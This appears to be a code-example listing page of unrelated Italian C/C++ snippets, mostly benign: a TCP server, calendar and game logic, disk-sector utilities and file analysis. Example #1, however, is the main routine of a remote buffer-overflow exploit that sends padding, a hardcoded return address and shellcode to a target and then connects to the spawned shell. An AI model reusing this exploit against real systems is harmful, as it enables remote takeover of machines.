Example #1
0
int main( int argc, char *argv[] )
{
	int sock;
	struct hostent *he;
	struct sockaddr_in target;
	unsigned char evilbuff[1530];
	long retaddr1 = 0x796C7DDC;   
        long retaddr2 = 0x77E7FC79; 
        long retaddr3 = 0x77EB1933;    

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(2,0), &wsadata);
#endif

	banner();
	if ( argc < 4 ) uso(argv[0]);

	if ( (he = gethostbyname(argv[1])) == NULL )
		errore("\t[-] Impossibile risolvere l'host\n");

	target.sin_family = AF_INET;
	target.sin_addr   = *(( struct in_addr *) he -> h_addr );
	target.sin_port   = htons(atoi(argv[2]));

	fputs("\t[+] Preparazione del buffer...\n", stdout);

	memset(evilbuff, 0x41, 1040 );
	
        switch(argv[3][0]) 
        {
                case '1': memcpy(evilbuff + 1024, (unsigned char *) &retaddr1, 4); break;
                case '2': memcpy(evilbuff + 1024, (unsigned char *) &retaddr2, 4); break;
                case '3': memcpy(evilbuff + 1024, (unsigned char *) &retaddr3, 4); break;
                default : errore("[-] Target sbagliato\n");                       
        }
	
	memcpy(evilbuff + 1040, shellcode, sizeof(shellcode)); 
	
	fputs("\t[+] Connessione...\n", stdout);

	if ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) < 0 )
		errore("\t[-] Impossibile creare socket\n");

	if ( connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0 )
		errore("\t[-] Connessione fallita\n");

	if ( send( sock, evilbuff, sizeof(evilbuff), 0) < 0 )
		errore("\t[-] Impossibile spedire il buffer\n");

	close(sock);

	fputs("\t[+] Buffer spedito!\n", stdout);
	fputs("\t[+] In attesa della connessione...\n\n", stdout);

	connectz(argv[1]);

	return(0);

}
		Socket(int mode, char* path){
			log = new SocketLogWriter(path);
			sock_id=socket(AF_INET,mode,0);
			if(sock_id<0) {log.write("Socket Non Creato");
			 	errore("Errore Socket Server",-1);
			 }
			log.write("Socket Creato con Successo");
		}
Example #3
0
	ServerTCP::ServerTCP(int port){
		int ret;
		lista_connessione = new Lista();	//Crea una lista dove andare a salvare i client
		Address* mySelf;
		
		mySelf = new Address(COMMON_ADDR,port);	//Prepara l'indirizzo con la porta indicata
		ret = bind(get_sock_id(),(struct sockaddr*)mySelf->get_addr(),(socklen_t)sizeof(struct sockaddr)); //Si collega alla porta per la recezzione dei dati
		if(ret){
			errore("SocketTCP - Errore nell'assegnazione della porta\n",-1);
		}

		ret = listen(get_sock_id(), MAX_CONN);	//Imposta il socket con il numero massimo di connessione a che potrà eseguire

		if(ret){
			errore("Errore nell'assegnazione nel numero di connessioni\n",-3);
		}

		delete(mySelf);
	}
Example #4
0
int tabella_mese(int mese)
{
    int res;

    switch(mese)
    {
    case 1:
        if(bisestile())
            res = 6;
        else
            res = 0;
        break;
    case 2:
        if(bisestile())
            res = 2;
        else
            res = 3;
        break;
    case 3:
        res = 3;
        break;
    case 4:
        res = 6;
        break;
    case 5:
        res = 1;
        break;
    case 6:
        res = 4;
        break;
    case 7:
        res = 6;
        break;
    case 8:
        res = 2;
        break;
    case 9:
        res = 5;
        break;
    case 10:
        res = 0;
        break;
    case 11:
        res = 3;
        break;
    case 12:
        res = 5;
        break;
    default:
        errore();
    }
    return res;
}
UINTN read_sector(UINT64 lba, UINT8 *buffer)
{
    off_t   offset;
    off_t   result_seek;
    ssize_t result_read;
    
    offset = lba * 512;
    result_seek = lseek(fd, offset, SEEK_SET);
    if (result_seek != offset) {
        errore("Seek to %llu failed", offset);
        return 1;
    }
    
    result_read = read(fd, buffer, 512);
    if (result_read < 0) {
        errore("Data read failed at position %llu", offset);
        return 1;
    }
    if (result_read != 512) {
        errore("Data read fell short at position %llu", offset);
        return 1;
    }
    return 0;
}
UINTN write_sector(UINT64 lba, UINT8 *buffer)
{
    off_t   offset;
    off_t   result_seek;
    ssize_t result_write;
    
    offset = lba * 512;
    result_seek = lseek(fd, offset, SEEK_SET);
    if (result_seek != offset) {
        errore("Seek to %llu failed", offset);
        return 1;
    }
    
    result_write = write(fd, buffer, 512);
    if (result_write < 0) {
        errore("Data write failed at position %llu", offset);
        return 1;
    }
    if (result_write != 512) {
        errore("Data write fell short at position %llu", offset);
        return 1;
    }
    return 0;
}
Example #7
0
int partita()
{
	int gioco=1;
	int m[DIM][DIM],turni=(DIM*DIM-1),giocatore;
	do
	{
		//inizializzo matrice e matrice di controllo
		if (turni==(DIM*DIM-1))
		{
			printf("\n######### TRIS #########\n");
			inizializza(m);
			mostra_aggiornata(m);
			//finchè ho mosse da fare che sono al massimo DIM*DIM
			giocatore=richiestagiocatore();
		}
		else {
			mostra_aggiornata(m);
			printf("\nGiocatore %i tocca a te\n",giocatore);
		}
		int cod,x,y;
		switch (giocatore)
		{
			case 1:mossavivente(m,giocatore);
						 break;
			case 2:f2(m,giocatore);
						 break;
			default:
						 errore();
		}
		turni--;
		giocatore=giocatore%2+1;

		int c=0;
		if (controllatutto(m,giocatore))
		{
			gioco=vittoria(giocatore);
			c++;
		}
		if(!turni)
		{
			gioco=patta();
			c++;
		}
		if (c>=1)
			turni=DIM*DIM;
	}while (gioco==1);
	return 0;
}
Example #8
0
Client::Client(QSqlDatabase _db, QString _nick, QString _ip, int _porta, QWidget *parent) :
	QMainWindow(parent)
{
	setupUi(this);
	db = _db;
	nick = _nick;
	ip = _ip;
	porta = _porta;

	personalizza();

	QDesktopWidget *widget = QApplication::desktop();
	QRect dim = widget->screenGeometry();
	setGeometry((dim.width() - width()) / 2, (dim.height() - height()) / 2, width(), height());

	socket = new QTcpSocket(this);
	buffer = new QBuffer(this);
	buffer->open(QIODevice::ReadWrite);

	connect(socket, SIGNAL(readyRead()), this, SLOT(receiveMessage()));
	connect(actionStatistiche, SIGNAL(triggered()), this, SLOT(mostraStatistiche()));
	connect(pushButtonG1C1, SIGNAL(clicked()), this, SLOT(cliccataCarta1()));
	connect(pushButtonG1C2, SIGNAL(clicked()), this, SLOT(cliccataCarta2()));
	connect(pushButtonG1C3, SIGNAL(clicked()), this, SLOT(cliccataCarta3()));
	connect(socket, SIGNAL(error(QAbstractSocket::SocketError)), this, SLOT(errore(QAbstractSocket::SocketError)));

	socket->connectToHost(ip, porta);

	sendMessage("00" + nick + "|");

	// inizializza il vettore di puntatori a metodi
	metodo[0] = &Client::settaNickServer;
	metodo[1] = &Client::settaBriscola;
	metodo[2] = &Client::settaCarta;
	metodo[3] = &Client::settaNumCarte;
	metodo[4] = &Client::settaTurno;
	metodo[5] = &Client::settaCartaServer;
	metodo[6] = &Client::pulisciTavolo;
	metodo[7] = &Client::aggiornaPunti;
	metodo[8] = &Client::ultimaMano;
	metodo[9] = &Client::disabilitaCarte;
	metodo[10] = &Client::stabilisciVincitore;
	metodo[11] = &Client::attivaColorazione;
	metodo[12] = &Client::aggiustaMazzo;
	metodo[13] = &Client::serverAbbandonato;
}
Example #9
0
int tabella_anno(int modulo)
{
    int res;
    switch(modulo)
    {
    case 0:
        res = 6;
        break;
    case 1:
        res = 4;
        break;
    case 2:
        res = 2;
        break;
    case 3:
        res = 0;
        break;
    default:
        errore();
    }
    return res;
}
int main(int argc, char *argv[])
{
    char        *filename;
    struct stat sb;
    int         filekind;
    char        *reason;
    int         status;
    
    // argument check
    if (argc != 2) {
        fprintf(stderr, "Usage: " PROGNAME_S " <device>\n");
        return 1;
    }
    filename = argv[1];
    
    // set input to unbuffered
    fflush(NULL);
    setvbuf(stdin, NULL, _IONBF, 0);
    
    // stat check
    if (stat(filename, &sb) < 0) {
        errore("Can't stat %.300s", filename);
        return 1;
    }
    
    filekind = 0;
    reason = NULL;
    if (S_ISREG(sb.st_mode))
        ;
    else if (S_ISBLK(sb.st_mode))
        filekind = 1;
    else if (S_ISCHR(sb.st_mode))
        filekind = 2;
    else if (S_ISDIR(sb.st_mode))
        reason = "Is a directory";
    else if (S_ISFIFO(sb.st_mode))
        reason = "Is a FIFO";
#ifdef S_ISSOCK
    else if (S_ISSOCK(sb.st_mode))
        reason = "Is a socket";
#endif
    else
        reason = "Is an unknown kind of special file";
    
    if (reason != NULL) {
        error("%.300s: %s", filename, reason);
        return 1;
    }
    
    // open file
    fd = open(filename, O_RDWR);
    if (fd < 0 && errno == EBUSY) {
        fd = open(filename, O_RDONLY);
#ifndef NOREADONLYWARN
        if (fd >= 0)
            printf("Warning: %.300s opened read-only\n", filename);
#endif
    }
    if (fd < 0) {
        errore("Can't open %.300s", filename);
        return 1;
    }
    
    // (try to) guard against TTY character devices
    if (filekind == 2) {
        if (isatty(fd)) {
            error("%.300s: Is a TTY device", filename);
            return 1;
        }
    }
    
    // run sync algorithm
    status = PROGNAME();
    printf("\n");
    
    // close file
    if (close(fd) != 0) {
        errore("Error while closing %.300s", filename);
        return 1;
    }
    
    return status;
}
/**
 * Acquisizione da file o shell
 * 
 * @param argc
 * @param argv
 */
void acquisisci(int argc, char **argv) {

    int i, j, min, max;
    FILE *fdata;
    int numero;
    int modalita_ab = 0;

    if (argc == 1) /*nessun argomento, genero casualmente */ {
        /*imposto seme casuale */
        srand((unsigned int) time(NULL));

        printf("Nessun file di input specificato.\nI dati verranno generati casualmente.\n\n");

        do {
            printf(" Numero partenze: ");
            scanf("%d", &m);
            printf(" Numero destinazioni: ");
            scanf("%d", &n);
        } while (m < 1 || n < 1);

        /*chiedo modalit� aquisizione a[] e b[]*/
        do {
            printf(" Specificare valori delle partenze manualmente[0] o casualmente[1] ? : ");
            scanf("%d", &modalita_ab);
        } while (modalita_ab != 0 && modalita_ab != 1);


        if (modalita_ab == 0) {
            /*generazione manuale di a[] e b[]*/
            printf("  Acquisizione delle %d partenze\n", m);
            for (i = 0; i < m; i++) {
                printf("   Inserisci a[%d]: ", i);
                scanf("%d", &(a[i]));
            }
            printf(" Acquisizione delle %d destinazioni\n", n);
            for (j = 0; j < n; j++) {
                printf("  Inserisci b[%d]: ", j);
                scanf("%d", &(b[j]));
            }
        } else /*generazione casuale*/ {
            printf("  Valore minimo per partenze e destinazioni: ");
            scanf("%d", &min);
            printf("  Valore massimo per partenze e destinazioni: ");
            scanf("%d", &max);

            /* genero a[] */
            for (i = 0; i < m; i++) {
                a[i] = (rand() % (max - min)) + min;
            }

            /* genero b[] */
            for (j = 0; j < n; j++) {
                b[j] = (rand() % (max - min + 1)) + min;
                /*printf("%d ",b[j]);*/
            }
            /*printf("  }\n");*/
        }

        /*chiedo range Cij*/
        printf(" Valore minimo per i costi: ");
        scanf("%d", &min);
        printf("  Valore massimo per i costi: ");
        scanf("%d", &max);

        for (i = 0; i < m; i++)
            for (j = 0; j < n; j++) {
                numero = (rand() % (max - min)) + min;
                MCosti[i][j] = numero;
                MCosti_iniz[i][j] = numero;
            }

    } else /* almeno un argomento, considero solo il primo (nome file da aprire) */ {
        fdata = fopen(argv[1], "r");
        if (fdata == NULL)
            errore("File di input non esistente o non accessibile !");

        /* Leggi il numero di righe e colonne  */
        if (fscanf(fdata, "%d %d", &m, &n) == EOF)
            errore("impossibile leggere numero di righe  colonne!");

        /* scan costi */
        for (i = 0; i < m; i++)
            for (j = 0; j < n; j++) {
                if (fscanf(fdata, "%d", &numero) == EOF)
                    errore("Fine inaspettata dei dati, ricontrolla che il numero di righe e colonne corrisponda !");
                MCosti[i][j] = numero;
                MCosti_iniz[i][j] = numero;
            }

        /* Leggo partenze */
        for (i = 0; i < m; i++)
            if (fscanf(fdata, "%d", &(a[i])) == EOF)
                errore("Impossibile leggere i valori delle partenze !");

        /* Leggo destinazioni */
        for (j = 0; j < n; j++)
            if (fscanf(fdata, "%d", &(b[j])) == EOF)
                errore("Impossibile leggere i valori delle destinazioni !");
    }

    /* azzero i flussi Xij */
    for (i = 0; i <= m; i++)
        for (j = 0; j <= n; j++)
            X[i][j] = 0;

    reset_etichette();
}
Example #12
0
int main()
{
    int gg, mm, ss, aa;
    int G, M, A, C;
    int x, termina, risultato;

    do
    {
        system("CLS");
        printf("QUESTO PROGRAMMA TROVA IL GIORNO DELLA SETTIMANA DELLA DATA INSERITA..\n\n");
        printf("data (gg/mm/aaaa): ");
        scanf("%d/%d/%2d%2d", &gg, &mm, &ss, &aa);

        G = gg % 7;
        M = tabella_mese(mm);
        A = aa % 28 + (aa % 28 - 1)/4;
        C = tabella_anno(ss%4);

        //printf("%02d/%02d/%02d%02d", gg, mm, ss, aa);
        //printf("G = %d \nM = %d \nA = %d \nC = %d", G, M, A, C);

        risultato = (G + M + A + C) % 7;
        if(bisestile() == 1 && mm > 2)
            risultato++;

        printf("\n\nIL GIORNO DELLA SETTIMANA E'... ");
        switch(risultato)
        {
        case 0:
            printf("Domenica!");
            break;
        case 1:
            printf("Lunedi!");
            break;
        case 2:
            printf("Martedi!");
            break;
        case 3:
            printf("Mercoledi!");
            break;
        case 4:
            printf("Giovedi!");
            break;
        case 5:
            printf("Venerdi!");
            break;
        case 6:
            printf("Sabato!");
            break;
        default:
            errore();
        }

        do
        {
            termina = -1;
            printf("\n\nPremi INVIO per ripetere... \n");
            printf("Premi ESC per uscire... \n");
            x = getch();
            if(x == 27)
                termina = 1;
            else if(x == 13)
                termina = 0;
        }
        while(termina == -1);
    }
    while(termina == 0);
    return 0;
}
Example #13
0
static void analyze_file(const char *filename)
{
  int fd, filekind;
  u8 filesize;
  struct stat sb;
  char *reason;
  SOURCE *s;

  print_line(0, "--- %s", filename);

  /* stat check */
  if (stat(filename, &sb) < 0) {
    errore("Can't stat %.300s", filename);
    return;
  }

  filekind = 0;
  filesize = 0;
  reason = NULL;
  if (S_ISREG(sb.st_mode)) {
    filesize = sb.st_size;
    print_kind(filekind, filesize, 1);
  } else if (S_ISBLK(sb.st_mode))
    filekind = 1;
  else if (S_ISCHR(sb.st_mode))
    filekind = 2;
  else if (S_ISDIR(sb.st_mode))
    reason = "Is a directory";
  else if (S_ISFIFO(sb.st_mode))
    reason = "Is a FIFO";
#ifdef S_ISSOCK
  else if (S_ISSOCK(sb.st_mode))
    reason = "Is a socket";
#endif
  else
    reason = "Is an unknown kind of special file";

  if (reason != NULL) {
    error("%.300s: %s", filename, reason);
    return;
  }

  /* Mac OS type & creator code (if running on Mac OS X) */
#ifdef USE_MACOS_TYPE
  if (filekind == 0)
    show_macos_type(filename);
#endif

  /* empty regular files need no further analysis */
  if (filekind == 0 && filesize == 0)
    return;

  /* open for reading */
  fd = open(filename, O_RDONLY);
  if (fd < 0) {
    errore("Can't open %.300s", filename);
    return;
  }

  /* (try to) guard against TTY character devices */
  if (filekind == 2) {
    if (isatty(fd)) {
      error("%.300s: Is a TTY device", filename);
      return;
    }
  }

  /* create a source */
  s = init_file_source(fd, filekind);

  /* tell the user what it is */
  if (filekind != 0)
    print_kind(filekind, s->size, s->size_known);

  /* now analyze it */
  analyze_source(s, 0);

  /* finish it up */
  close_source(s);
}